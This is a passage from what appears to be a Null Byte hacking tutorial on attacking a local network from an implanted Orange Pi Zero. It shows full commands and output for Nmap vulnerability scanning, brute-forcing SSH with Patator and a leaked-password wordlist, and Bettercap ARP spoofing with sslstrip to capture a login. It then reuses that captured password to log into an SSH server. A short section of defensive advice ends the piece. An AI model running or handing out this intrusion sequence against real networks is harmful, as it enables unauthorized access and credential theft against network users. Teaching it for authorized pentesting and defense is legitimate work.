Nmap scan report for 192.168.8.183 Host is up (-0.10s latency). MAC Address: XX:XX:XX:XX:XX:XX (Unknown) Nmap scan report for 192.168.8.138 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 4.45 secondsIf, for example, we found the Sony device on 192.168.8.183 to be interesting, we could further probe that host.root@orangepizero:~# nmap -sV -T4 --script nmap-vulners -F -A 192.168.8.183 Starting Nmap 7.40 ( https://nmap.org ) at 2019-04-15 01:19 UTC Nmap scan report for 192.168.8.183 Host is up (0.00080s latency). Not shown: 99 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | vulners: | cpe:/a:openbsd:openssh:7.6p1: | CVE-2018-15919 5.0 https://vulners.com/cve/CVE-2018-15919 |_ CVE-2018-15473 5.0 https://vulners.com/cve/CVE-2018-15473 MAC Address: 48:1C:52:9F:A6:71 (Unknown) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelWe can see the nmap-vulners NSE script discovered two CVEs with this particular SSH server. The host is almost certainly an Ubuntu machine, so automated updates have probably done a good job about patching severe security vulnerabilities.We could further probe the service or other hosts on the network with more advanced Nmap scans and scripts. For more onNmap, check out some of the following articles.Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowHow to Automate Brute-Force Attacks for Nmap ScansUsing the Nmap Scripting Engine (NSE) for Reconnaissance2. Perform Brute-Force Attacks with PatatorLike Hydra and Medusa,Patatoris a highly flexible, full-featured, command-line brute-forcing tool. It has quickly become one of my favorite hacking instruments. In my previous article, Patator was used toperform a dictionary attack against different router gateways, which is very appropriate for a network-based attack such as this Orange Pi Zero hack. This time, however, I'll show Patator's SSH brute-forcing module.Don't Miss:How to Break into Router Gateways with PatatorFirst, install the necessary dependencies required by the Patator Python script. There are quite a few packages, so this process can take up to ten minutes to complete. Prepending thescreencommand (Screen should be installed) is recommended. In the event the SSH connection breaks, Screen will keep the installation running and accessible when the connection is re-established.root@orangepizero:~# screen apt-get install libcurl4-openssl-dev python3-dev libssl-dev ldap-utils default-libmysqlclient-dev ike-scan unzip default-jdk libsqlite3-dev libsqlcipher-dev python-setuptools python-pip libpq-dev python-dev libffi6 libffi-dev pkg-config autoconf python-dev cmake Reading package lists... Done Building dependency tree Reading state information... Done The following NEW packages will be installed: adwaita-icon-theme ca-certificates-java default-jdk default-jdk-headless default-jre default-jre-headless fontconfig fontconfig-config fonts-dejavu-core gtk-update-icon-cache hicolor-icon-theme ike-scan java-common ldap-utils libasyncns0 libatk-bridge2.0-0 libatk-wrapper-java libatk-wrapper-java-jni libatk1.0-0 libatk1.0-data libatspi2.0-0 libavahi-client3 libavahi-common-data libavahi-common3 libcairo-gobject2 libcairo2 libcolord2 libcroco3 libcups2 libcurl4-openssl-dev libdatrie1 libdrm2 libegl1-mesa libepoxy0 libexpat1-dev libflac8 libfontconfig1 libfontenc1 libfreetype6 libgbm1 libgdk-pixbuf2.0-0 libgdk-pixbuf2.0-common libgif7 libgl1-mesa-glx libglapi-mesa libgraphite2-3 libgtk-3-0 libgtk-3-common libgtk2.0-0 libgtk2.0-common libharfbuzz0b libice6 libjbig0 libjpeg62-turbo libjson-glib-1.0-0 libjson-glib-1.0-common liblcms2-2 libnspr4 libnss3 libogg0 libpango-1.0-0 libpangocairo-1.0-0 libpangoft2-1.0-0 libpixman-1-0 libpulse0 libpython3-dev libpython3.5 libpython3.5-dev librest-0.7-0 librsvg2-2 librsvg2-common libsm6 libsndfile1 libsoup-gnome2.4-1 libsqlcipher-dev libsqlcipher0 libsqlite3-dev libthai-data libthai0 libtiff5 libvorbis0a libvorbisenc2 libwayland-client0 libwayland-cursor0 libwayland-egl1-mesa libwayland-server0 libx11-6 libx11-data libx11-xcb1 libxau6 libxaw7 libxcb-dri2-0 libxcb-dri3-0 libxcb-glx0 libxcb-present0 libxcb-render0 libxcb-shape0 libxcb-shm0 libxcb-sync1 libxcb-xfixes0 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxdmcp6 libxext6 libxfixes3 libxft2 libxi6 libxinerama1 libxkbcommon0 libxmu6 libxmuu1 libxpm4 libxrandr2 libxrender1 libxshmfence1 libxt6 libxtst6 libxv1 libxxf86dga1 libxxf86vm1 openjdk-8-jdk openjdk-8-jdk-headless openjdk-8-jre openjdk-8-jre-headless python3-dev python3.5-dev shared-mime-info x11-common x11-utils 0 upgraded, 131 newly installed, 0 to remove and 0 not upgraded. Need to get 112 MB of archives. After this operation, 312 MB of additional disk space will be used. Do you want to continue? [Y/n]Upgrade thesetuptoolsandwheelpackages using the followingpipcommand.root@orangepizero:~# pip install --upgrade setuptools wheel Collecting setuptools Downloading https://files.pythonhosted.org/packages/c8/b0/cc6b7ba28d5fb790cf0d5946df849233e32b8872b6baca10c9e002ff5b41/setuptools-41.0.0-py2.py3-none-any.whl (575kB) 100% |████████████████████████████████| 583kB 181kB/s Installing collected packages: setuptools Found existing installation: setuptools 33.1.1 Not uninstalling setuptools at /usr/lib/python2.7/dist-packages, outside environment /usr Successfully installed setuptools-41.0.0Clone the Patator GitHub repository with thegitcommand.root@orangepizero:~# git clone https://github.com/lanjelot/patator/ /opt/patator Cloning into '/opt/patator'... remote: Enumerating objects: 457, done. remote: Total 457 (delta 0), reused 0 (delta 0), pack-reused 457 Receiving objects: 100% (457/457), 325.11 KiB | 149.00 KiB/s, done. Resolving deltas: 100% (157/157), done.Change (cd) into the new /opt/patator/ directory.root@orangepizero:~# cd /opt/patator/Then, usepipagain to install more requirements. This process can take up to 20 minutes to complete. Thepynaclandcryptographypackages seemed to take especially long in my tests, so be patient.root@orangepizero:/opt/patator# pip install -r requirements.txt Downloading https://files.pythonhosted.org/packages/cf/ae/94e70d49044ccc234bfdba20114fa947d7ba6eb68a2e452d89b920e62227/paramiko-2.4.2-py2.py3-none-any.whl (193kB) 100% |████████████████████████████████| 194kB 216kB/s Collecting pycurl (from -r requirements.txt (line 2)) Downloading https://files.pythonhosted.org/packages/e8/e4/0dbb8735407189f00b33d84122b9be52c790c7c3b25286826f4e1bdb7bde/pycurl-7.43.0.2.tar.gz (214kB) 100% |████████████████████████████████| 215kB 172kB/s Collecting ajpy (from -r requirements.txt (line 3)) Downloading https://files.pythonhosted.org/packages/12/dd/e641d8c0b3b14eed50122a3c090ff9150bd0988fd0790d4819cd8083e83d/ajpy-0.0.4.tar.gz Collecting pyopenssl (from -r requirements.txt (line 5)) Downloading https://files.pythonhosted.org/packages/01/c8/ceb170d81bd3941cbeb9940fc6cc2ef2ca4288d0ca8929ea4db5905d904d/pyOpenSSL-19.0.0-py2.py3-none-any.whl (53kB) 100% |████████████████████████████████| 61kB 66kB/s Collecting cx_Oracle (from -r requirements.txt (line 6)) Downloading https://files.pythonhosted.org/packages/4b/aa/99e49d10e56ff0263a8927f4ddb7e8cdd4671019041773f61b3259416043/cx_Oracle-7.1.2.tar.gz (289kB) 100% |████████████████████████████████| 296kB 177kB/s Collecting mysqlclient (from -r requirements.txt (line 7)) Downloading https://files.pythonhosted.org/packages/f4/f1/3bb6f64ca7a429729413e6556b7ba5976df06019a5245a43d36032f1061e/mysqlclient-1.4.2.post1.tar.gz (85kB) 100% |████████████████████████████████| 92kB 98kB/s Collecting psycopg2-binary (from -r requirements.txt (line 8)) Downloading https://files.pythonhosted.org/packages/dc/93/bb5655730913b88f9068c6b596177d1df83be0d476671199e17b06ea8436/psycopg2-binary-2.8.2.tar.gz (369kB) 100% |████████████████████████████████| 378kB 169kB/s Collecting pycrypto (from -r requirements.txt (line 9)) Downloading https://files.pythonhosted.org/packages/60/db/645aa9af249f059cc3a368b118de33889219e0362141e75d4eaf6f80f163/pycrypto-2.6.1.tar.gz (446kB) 100% |████████████████████████████████| 450kB 114kB/s ... Stored in directory: /root/.cache/pip/wheels/43/61/c8/0a4464601ce180d26e0a8dfdfa88c824e419dcc65bd43bda6e Running setup.py bdist_wheel for bcrypt ... done Stored in directory: /root/.cache/pip/wheels/6c/f0/60/8a8ebee44d14d3d6696f1e78960500777cb5b579caf33c1fe3 Running setup.py bdist_wheel for pycryptodomex ... done Stored in directory: /root/.cache/pip/wheels/83/37/75/85a95885e1e48d22cc6c964680e7938a19ca7c80eb814b2ff0 Running setup.py bdist_wheel for cffi ... done Stored in directory: /root/.cache/pip/wheels/bb/f8/22/e3e8d9dd87e0cc6df8201325bd0ae815e701d1ef2b95571cf2 Successfully built pycurl ajpy cx-Oracle mysqlclient psycopg2-binary pycrypto IPy pynacl cryptography bcrypt pycryptodomex cffi Installing collected packages: cffi, pynacl, asn1crypto, enum34, ipaddress, cryptography, bcrypt, pyasn1, paramiko, pycurl, ajpy, pyopenssl, cx-Oracle, mysqlclient, psycopg2-binary, pycrypto, dnspython, IPy, pycryptodomex, ply, pysmi, pysnmp Successfully installed IPy-1.0 ajpy-0.0.4 asn1crypto-0.24.0 bcrypt-3.1.6 cffi-1.12.2 cryptography-2.6.1 cx-Oracle-7.1.2 dnspython-1.16.0 enum34-1.1.6 ipaddress-1.0.22 mysqlclient-1.4.2.post1 paramiko-2.4.2 ply-3.11 psycopg2-binary-2.8.1 pyasn1-0.4.5 pycrypto-2.6.1 pycryptodomex-3.8.1 pycurl-7.43.0.2 pynacl-1.3.0 pyopenssl-19.0.0 pysmi-0.3.3 pysnmp-4.4.9When that's done, verify Patator is working and view available modules with the--helpoption.root@orangepizero:/opt/patator# ./patator.py --help Patator v0.7 (https://github.com/lanjelot/patator) Usage: patator.py module --help Available modules: + ftp_login : Brute-force FTP + ssh_login : Brute-force SSH + telnet_login : Brute-force Telnet + smtp_login : Brute-force SMTP + smtp_vrfy : Enumerate valid users using SMTP VRFY + smtp_rcpt : Enumerate valid users using SMTP RCPT TO + finger_lookup : Enumerate valid users using Finger + http_fuzz : Brute-force HTTP + rdp_gateway : Brute-force RDP Gateway + ajp_fuzz : Brute-force AJP + pop_login : Brute-force POP3 + pop_passd : Brute-force poppassd (http://netwinsite.com/poppassd/) + imap_login : Brute-force IMAP4 + ldap_login : Brute-force LDAP + smb_login : Brute-force SMB + smb_lookupsid : Brute-force SMB SID-lookup + rlogin_login : Brute-force rlogin + vmauthd_login : Brute-force VMware Authentication Daemon + mssql_login : Brute-force MSSQL + oracle_login : Brute-force Oracle + mysql_login : Brute-force MySQL + mysql_query : Brute-force MySQL queries + rdp_login : Brute-force RDP (NLA) + pgsql_login : Brute-force PostgreSQL + vnc_login : Brute-force VNC + dns_forward : Forward DNS lookup + dns_reverse : Reverse DNS lookup + snmp_login : Brute-force SNMP v1/2/3 + ike_enum : Enumerate IKE transforms + unzip_pass : Brute-force the password of encrypted ZIP files + keystore_pass : Brute-force the password of Java keystore files + sqlcipher_pass : Brute-force the password of SQLCipher-encrypted databases + umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes + tcp_fuzz : Fuzz TCP services + dummy_test : Testing moduleThe very same SSH service, discovered previously, can now be brute-forced using Patator'sssh_loginmodule. To view the availablessh_loginoptions, use the below command.root@orangepizero:/opt/patator# ./patator.py ssh_login Patator v0.7 (https://github.com/lanjelot/patator) Usage: ssh_login <module-options ...> [global-options ...] Examples: ssh_login host=10.0.0.1 user=root password=FILE0 0=passwords.txt -x ignore:mesg='Authentication failed.' Module options: host : target host port : target port [22] user : usernames to test password : passwords to test auth_type : type of password authentication to use [password|keyboard-interactive|auto] keyfile : file with RSA, DSA or ECDSA private key to test persistent : use persistent connections [1|0]For a more complete, comprehensive list of options and arguments, use thessh_loginand--helpoptions together.root@orangepizero:/opt/patator# ./patator.py ssh_login --helpFor demostration purposes, I'm using a wordlist created fromleaked password databases. This can be quickly downloaded onto the Orange Pi Zero with the belowwgetcommand.root@orangepizero:/opt/patator# wget 'https://git.io/fhhvc' -O /tmp/simple_wordlist.txt --2019-04-15 02:19:09-- https://git.io/fhhvc Resolving git.io (git.io)... 52.203.53.176 Connecting to git.io (git.io)|52.203.53.176|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/tokyoneon/1wordlist/master/1wordlist2rulethem%40ll.txt [following] --2019-04-15 02:19:13-- https://raw.githubusercontent.com/tokyoneon/1wordlist/master/1wordlist2rulethem%40ll.txt Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 199.232.8.133 Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|199.232.8.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 25585 (25K) [text/plain] Saving to: ‘/tmp/simple_wordlist.txt’ /tmp/simple_wordlist.txt 100%[==============================>] 24.99K 59.7KB/s in 0.4s 2019-04-15 02:19:22 (59.7 KB/s) - ‘/tmp/simple_wordlist.txt’ saved [25585/25585]Finally, brute-force the SSH service using the following Patator command.root@orangepizero:/opt/patator# ./patator.py ssh_login host=192.168.8.183 port=22 user=root password=FILE0 0=/tmp/simple_wordlist.txt -t 1 INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2019-04-14 07:25 UTC INFO - INFO - code size time | candidate | num | mesg INFO - ----------------------------------------------------------------------------- INFO - 1 22 2.005 | 123456 | 1 | Authentication failed. INFO - 1 22 2.277 | Abcdef123 | 2 | Authentication failed. INFO - 1 22 1.344 | a123456 | 3 | Authentication failed. INFO - 1 22 1.814 | little123 | 4 | Authentication failed. INFO - 1 22 2.081 | nanda334 | 5 | Authentication failed. INFO - 1 22 2.023 | N97nokia | 6 | Authentication failed. INFO - 1 22 1.676 | password | 7 | Authentication failed. INFO - 1 22 2.249 | Pawerjon123 | 8 | Authentication failed. INFO - 1 22 2.180 | 421uiopy258 | 9 | Authentication failed. INFO - 1 22 2.116 | MYworklist123 | 10 | Authentication failed. INFO - 1 22 1.879 | 12345678 | 11 | Authentication failed. INFO - 1 22 2.015 | qwerty | 12 | Authentication failed. INFO - 1 22 1.772 | nks230kjs82 | 13 | Authentication failed. INFO - 1 22 2.212 | trustno1 | 14 | Authentication failed. INFO - 1 22 1.631 | zxcvbnm | 15 | Authentication failed. INFO - 1 22 2.116 | N97nokiamini | 16 | Authentication failed. INFO - 1 22 2.050 | letmein | 17 | Authentication failed. INFO - 1 22 1.814 | 123456789 | 18 | Authentication failed. INFO - 1 22 2.107 | myplex | 19 | Authentication failed. INFO - 1 22 0.042 | tokyoneon | 20 | Authentication failed. INFO - 1 22 2.375 | gm718422@ | 21 | Authentication failed. INFO - 1 22 1.613 | churu123A | 22 | Authentication failed. INFO - 1 22 1.914 | abc123 | 23 | Authentication failed. INFO - 1 22 1.820 | plex123 | 24 | Authentication failed. INFO - 1 22 1.778 | any123456 | 25 | Authentication failed. INFO - 1 22 2.048 | Lwf1681688 | 26 | Authentication failed. INFO - Hits/Done/Skip/Fail/Size: 26/26/0/0/26, Avg: 0 r/s, Time: 0h 0m 51sPatator will brute-force thehost=on the specifiedpost=with the wordlist (0). To avoid overwhelming the SSH service with too many password attempts per second, use the-tto specify the number of concurrent threads. This value is set to ten by default, but increase and decrease it as needed.3. Perform Man-in-the-Middle Attacks with BettercapBefore installingBettercap, the Go (Golang) programming language will need to be installed first. Bettercap relies on the later version of Golang that isn't available in the Debian repositories. To get the latest version of Golang, start by downloading the dependencies.root@orangepizero:~# apt-get install libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev Reading package lists... Done Building dependency tree Reading state information... Done build-essential is already the newest version (12.3). golang is already the newest version (2:1.7~5). The following additional packages will be installed: libnetfilter-queue1 libnfnetlink-dev libpcap0.8-dev pkg-config Recommended packages: libusb-1.0-doc The following NEW packages will be installed: libnetfilter-queue-dev libnetfilter-queue1 libnfnetlink-dev libpcap-dev libpcap0.8-dev libusb-1.0-0-dev pkg-config 0 upgraded, 7 newly installed, 0 to remove and 0 not upgraded. Need to get 405 kB of archives. After this operation, 1,142 kB of additional disk space will be used. Do you want to continue? [Y/n]If you're not already root, change into the /root/ directory for the following commands. Using the /tmp directory isn't advised as the Orange Pi Zero may run out of memory during specific processes.root@orangepizero:~# cd /root/Then, download the tar.gz file containing the Golang source code.root@orangepizero:~# wget 'https://dl.google.com/go/go1.12.7.linux-armv6l.tar.gz' --2019-04-13 19:52:48-- https://dl.google.com/go/go1.12.7.linux-armv6l.tar.gz Resolving dl.google.com (dl.google.com)... 172.217.194.93, 172.217.194.136, 172.217.194.190, ... Connecting to dl.google.com (dl.google.com)|172.217.194.93|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 106218905 (101M) [application/octet-stream] Saving to: ‘go1.12.7.linux-armv6l.tar.gz’ go1.12.7.linux-armv6l.tar.gz 100%[==============================>] 101.30M 3.28MB/s in 34s 2019-04-13 19:53:22 (3.02 MB/s) - ‘go1.12.7.linux-armv6l.tar.gz’ saved [106218905/106218905]Next, unpack the compressed tar.gz file.root@orangepizero:~# tar -C /usr/local -xzf go1.*.tar.gzThe$PATHneeds to be defined to perform the following commands.root@orangepizero:~# export PATH=$PATH:/usr/local/go/binNow, before cloning the Bettercap repository, the amount of available "swap memory" on the Orange Pi Zero needs to be expanded.Swapis defined as part of the hard drive that has been allocated by the operating system as temporary memory. When the operating system has used up all of the available hardware RAM (512 MB for the Orange Pi Zero), it uses the swap.To create a new swap area, use the belowddcommand to create a 2 GB (2048) file containing/dev/zeronull data. This command should take about three minutes to complete.root@orangepizero:~# dd if=/dev/zero of=/root/swapfile bs=1M count=2048 2048+0 records in 2048+0 records out 2147483648 bytes (2.1 GB, 2.0 GiB) copied, 195.927 s, 11.0 MB/sThen, use themkswapcommand. Disregard the "insecure permissions" warning. On a non-hacking system, this command would be executed differently. But it's not essential to this specific scenario.root@orangepizero:~# mkswap /root/swapfile mkswap: /root/swapfile: insecure permissions 0644, 0600 suggested. Setting up swapspace version 1, size = 2 GiB (2147479552 bytes) no label, UUID=e629a001-7a20-4346-8479-4a04fae459afEnable the new swap area with theswaponcommand.root@orangepizero:~# swapon /root/swapfile swapon: /root/swapfile: insecure permissions 0644, 0600 suggested.The new swap space can be verified using thefreecommand to view available memory.root@orangepizero:~# free -ht total used free shared buff/cache available Mem: 493M 84M 9.0M 604K 399M 397M Swap: 2.2G 19M 2.2G Total: 2.7G 104M 2.2GNotice theSwap:is over 2 GB. Now, back to the Bettercap install process. Clone the Bettercap GitHub repository with the followinggocommand.root@orangepizero:~# go get github.com/bettercap/bettercapThen, define the$GOPATHwith theexportcommand.root@orangepizero:~# export GOPATH=/root/go/Change into the newly create Bettercap directory.root@orangepizero:~# cd $GOPATH/src/github.com/bettercap/bettercapExecute themake buildcommand. No output will occur.root@orangepizero:~/go/src/github.com/bettercap/bettercap# make buildFinally, install Bettercap with themake installcommand.root@orangepizero:~/go/src/github.com/bettercap/bettercap# make installTo start using Bettercap, use the following command with the-ifaceoption to specify the target (router) interface. Otherwise, Bettercap might attack devices authenticated to the Orange Pi Zero's Wi-Fi hotspot — if that was set up previously.Screen is also recommended here. It will keep Bettercap running persistently if you choose to temporarily disconnect from the Orange Pi Zero and reconnect at a later time.root@orangepizero:~/go/src/github.com/bettercap/bettercap# screen bettercap -iface eth0 bettercap v2.23 (built for linux arm with go1.12.4) [type 'help' for a list of commands] 192.168.8.0/24 > 192.168.8.138 »For starters, we can use thehelpcommand to view available options and running modules.10.#.#.#/24 > 10.#.#.## » help help MODULE : List available commands or show module specific help if no module name is provided. active : Show information about active modules. quit : Close the session and exit. sleep SECONDS : Sleep for the given amount of seconds. get NAME : Get the value of variable NAME, use * alone for all, or NAME* as a wildcard. set NAME VALUE : Set the VALUE of variable NAME. read VARIABLE PROMPT : Show a PROMPT to ask the user for input that will be saved inside VARIABLE. clear : Clear the screen. include CAPLET : Load and run this caplet in the current session. ! COMMAND : Execute a shell command and print its output. alias MAC NAME : Assign an alias to a given endpoint given its MAC address. Modules any.proxy > not running api.rest > not running arp.spoof > not running ble.recon > not running caplets > not running dhcp6.spoof > not running dns.spoof > not running events.stream > running gps > not running hid > not running http.proxy > not running http.server > not running https.proxy > not running https.server > not running mac.changer > not running mysql.server > not running net.probe > not running net.recon > not running net.sniff > not running packet.proxy > not running syn.scan > not running tcp.proxy > not running ticker > not running ui > not running update > not running wifi > not running wol > not running 192.168.8.0/24 > 192.168.8.138 »Then, fetch the latestcapletsfrom the Bettercap repository with thecaplets.updatecommand. Caplets are used to automate Bettercap commands and options.10.#.#.#/24 > 10.#.#.## » caplets.update [21:18:57] [sys.log] [inf] caplets downloading caplets from https://github.com/bettercap/caplets/archive/master.zip ... [21:19:03] [sys.log] [inf] caplets installing caplets to /usr/local/share/bettercap/caplets ...Usecaplets.showto view the installed caplets and their location on the operating system. You are encouraged toreview the caplet filesfor brief descriptions of what each one does.10.#.#.#/24 > 10.#.#.## » caplets.show ┌─────────────────────────────────────┬────────────────────────────────────────────────────────────────────────────┬────────┐ │ Name │ Path │ Size │ ├─────────────────────────────────────┼────────────────────────────────────────────────────────────────────────────┼────────┤ │ ap │ /usr/local/share/bettercap/caplets/ap.cap │ 307 B │ │ crypto-miner/crypto-miner │ /usr/local/share/bettercap/caplets/crypto-miner/crypto-miner.cap │ 666 B │ │ download-autopwn/download-autopwn │ /usr/local/share/bettercap/caplets/download-autopwn/download-autopwn.cap │ 2.6 kB │ │ fb-phish/fb-phish │ /usr/local/share/bettercap/caplets/fb-phish/fb-phish.cap │ 140 B │ │ gitspoof/gitspoof │ /usr/local/share/bettercap/caplets/gitspoof/gitspoof.cap │ 216 B │ │ gps │ /usr/local/share/bettercap/caplets/gps.cap │ 109 B │ │ hstshijack/hstshijack │ /usr/local/share/bettercap/caplets/hstshijack/hstshijack.cap │ 799 B │ │ http-req-dump/http-req-dump │ /usr/local/share/bettercap/caplets/http-req-dump/http-req-dump.cap │ 591 B │ │ http-ui │ /usr/local/share/bettercap/caplets/http-ui.cap │ 382 B │ │ https-ui │ /usr/local/share/bettercap/caplets/https-ui.cap │ 661 B │ │ jsinject/jsinject │ /usr/local/share/bettercap/caplets/jsinject/jsinject.cap │ 210 B │ │ local-sniffer │ /usr/local/share/bettercap/caplets/local-sniffer.cap │ 244 B │ │ login-manager-abuse/login-man-abuse │ /usr/local/share/bettercap/caplets/login-manager-abuse/login-man-abuse.cap │ 236 B │ │ mana │ /usr/local/share/bettercap/caplets/mana.cap │ 61 B │ │ massdeauth │ /usr/local/share/bettercap/caplets/massdeauth.cap │ 302 B │ │ mitm6 │ /usr/local/share/bettercap/caplets/mitm6.cap │ 551 B │ │ netmon │ /usr/local/share/bettercap/caplets/netmon.cap │ 42 B │ │ pita │ /usr/local/share/bettercap/caplets/pita.cap │ 900 B │ │ proxy-script-test/proxy-script-test │ /usr/local/share/bettercap/caplets/proxy-script-test/proxy-script-test.cap │ 57 B │ │ rogue-mysql-server │ /usr/local/share/bettercap/caplets/rogue-mysql-server.cap │ 501 B │ │ rtfm/rtfm │ /usr/local/share/bettercap/caplets/rtfm/rtfm.cap │ 210 B │ │ simple-passwords-sniffer │ /usr/local/share/bettercap/caplets/simple-passwords-sniffer.cap │ 131 B │ │ tcp-req-dump/tcp-req-dump │ /usr/local/share/bettercap/caplets/tcp-req-dump/tcp-req-dump.cap │ 413 B │ │ web-override/web-override │ /usr/local/share/bettercap/caplets/web-override/web-override.cap │ 254 B │ └─────────────────────────────────────┴────────────────────────────────────────────────────────────────────────────┴────────┘To quickly enumerate active hosts on the network, invoke thenetmoncaplet with theincludecommand.10.#.#.#/24 > 10.#.#.## » include netmon ┌───────────────┬───────────────────┬─────────────┬────────────────────────────┬───────┬────────┬──────────┐ │ IP ▴ │ MAC │ Name │ Vendor │ Sent │ Recvd │ Seen │ ├───────────────┼───────────────────┼─────────────┼────────────────────────────┼───────┼────────┼──────────┤ │ 192.168.8.138 │ XX:XX:XX:XX:XX:XX │ eth0 │ │ 0 B │ 0 B │ 21:18:37 │ │ 192.168.8.1 │ XX:XX:XX:XX:XX:XX │ gateway │ Mediabridge Products, LLC. │ 19 kB │ 8.6 kB │ 21:18:37 │ │ │ │ │ │ │ │ │ │ 192.168.8.179 │ XX:XX:XX:XX:XX:XX │ │ Sony Corporation │ 32 kB │ 128 kB │ 21:20:24 │ │ 192.168.8.193 │ XX:XX:XX:XX:XX:XX │ Windows 10 │ │ 916 B │ 1.3 kB │ 21:20:20 │ └───────────────┴───────────────────┴─────────────┴────────────────────────────┴───────┴────────┴──────────┘ ↑ 54 kB / ↓ 433 kB / 4310 pktsAlternatively, traffic transmitting between devices on the network can be sniffed by running the following six commands in order.10.#.#.#/24 > 10.#.#.## » set http.proxy.sslstrip true 10.#.#.#/24 > 10.#.#.## » set arp.spoof.internal true 10.#.#.#/24 > 10.#.#.## » set net.sniff.verbose false 10.#.#.#/24 > 10.#.#.## » net.sniff on 10.#.#.#/24 > 10.#.#.## » http.proxy on 10.#.#.#/24 > 10.#.#.## » arp.spoof onBettercap will begin to display a ton of data transmitting over the network. In some cases, there may be servers and services running on the network that don't support HTTPS or use it by default. These are prime targets for tools like Bettercap.Below is an example of aPOST requestmade by a user authenticating to a media server running on one of the network devices.POST /media_server/Users/authenticatebyname HTTP/1.1 Host: 192.168.8.183:8096 Accept-Encoding: gzip, deflate X-media-Authorization: MediaBrowser Device="Firefox", DeviceId="TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NjYuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC82Ni4wfDE1NTUzMTE3NzE5Mjg1", Version="4.0.2.0" Content-Length: 46 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Referer: http://192.168.8.183:8096/web/index.html Content-Type: application/json Origin: http://192.168.8.183:8096 Accept: application/json Accept-Language: en-US,en;q=0.5 { "Username": "tokyoneon", "Pw": "secure_password-321" }Bettercap displays the username and password data found in the login request. These credentials can be used to pivot to other devices on the network, for example, the previously discovered SSH server on 192.168.8.183. Now that the attacker has some sense of the target's preferredusername and password scheme, they can test the credentials against other services on the network.root@orangepizero:~# cd /opt/patator/ root@orangepizero:/opt/patator# ./patator.py ssh_login host=192.168.8.183 port=22 user=tokyoneon password='secure_password-321' -t 1 INFO - code size time | candidate | num | mesg INFO - ----------------------------------------------------------------------------- INFO - 0 39 0.117 | | 1 | SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 INFO - Hits/Done/Skip/Fail/Size: 1/1/0/0/1, Avg: 0 r/s, Time: 0h 0m 1sThe Patator request didn't return an "Authentication failed" message this time. This is a pretty good indication the password is correct. The same username and password can be used to log into the SSH server for apassword reuse attack.root@orangepizero:/opt/patator# cd root@orangepizero:~# ssh -p 22 [email protected] The authenticity of host '192.168.8.183 (192.168.8.183)' can't be established. ECDSA key fingerprint is SHA256:3QmOhr8syz8l4HBWICG53DdVE2fStfHdO2Ri/nU4hBc. Are you sure you want to continue connecting (yes/no)? yes Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-29-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage Last login: Mon Apr 15 07:27:14 2019 from 127.0.0.1 tokyoneon@ubuntu:~$Don't Miss:How to Hack 200 Social Media Accounts in Less Than 2 Hours (Twitter, Reddit, Microsoft)How to Protect Yourself Against Network Implant AttacksEnable HTTPS: The media server on the network didn't support HTTPS. This allowed the attacker to observe the login credentials using Bettercap. The use of HTTPS and other encrypted protocols will go a long way in thwarting an attackers ability to compromise the network further.Use Passwords Managers: The attacker in this example was able to reuse the media server password on the SSH server. The use of a password manager would've helped prevent the attacker from gaining access to the Ubuntu machine. It's always a bad idea to reuse passwords across multiple online accounts, servers, and operating systems.Disable DHCP: This attack relies on the router issuing an IP address to the Orange Pi Zero when it's implanted. Without an IP address,Torwon't be able to connect to the internet. This would hinder the attackers able to access the network remotely. Disabling DHCP will only create an obstacle for the attacker, however. It wouldn't be impossible to enumerate the IP address and netmask for a static connection. Furthermore, if the attacker is still in the area, they would be able to use the Orange Pi Zero's Wi-Fi hotspot to identify the IP and netmask scheme manually.Be Alert: Be mindful of the people and devices authenticated to the router you're connecting to. It also doesn't hurt to inspect devices physically attached to the router occasionally. This is especially important for router administrators operating in public areas like coffee shops, hospitals, and libraries. Public networks like these are prime targets for hackers looking to compromise as many people and services as possible.Setting up the Orange Pi Zero and performing these attacks on my test networks was a lot of fun. I highly encourage readers to give this kind of attack a try and deploy cheap SBCs during pentesting engagements.Until next time, you can follow me on Twitter@tokyoneon_andGitHub. And as always, leave a comment below or message me on Twitter if you have any questions.Don't Miss:Intercept & Decrypt Windows Passwords on a Local NetworkWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by tokyoneon/Null ByteRelatedHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)How To:Use the Koadic Command & Control Remote Access Toolkit for Windows Post-ExploitationNews:What REALLY Happened with the Juniper Networks Hack?How To:Automate Wi-Fi Hacking with Wifite2News:Replacement Joints with Antibiotics on Board Mean Lower Chance of Infection & Fewer SurgeriesHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Use Ettercap to Intercept Passwords 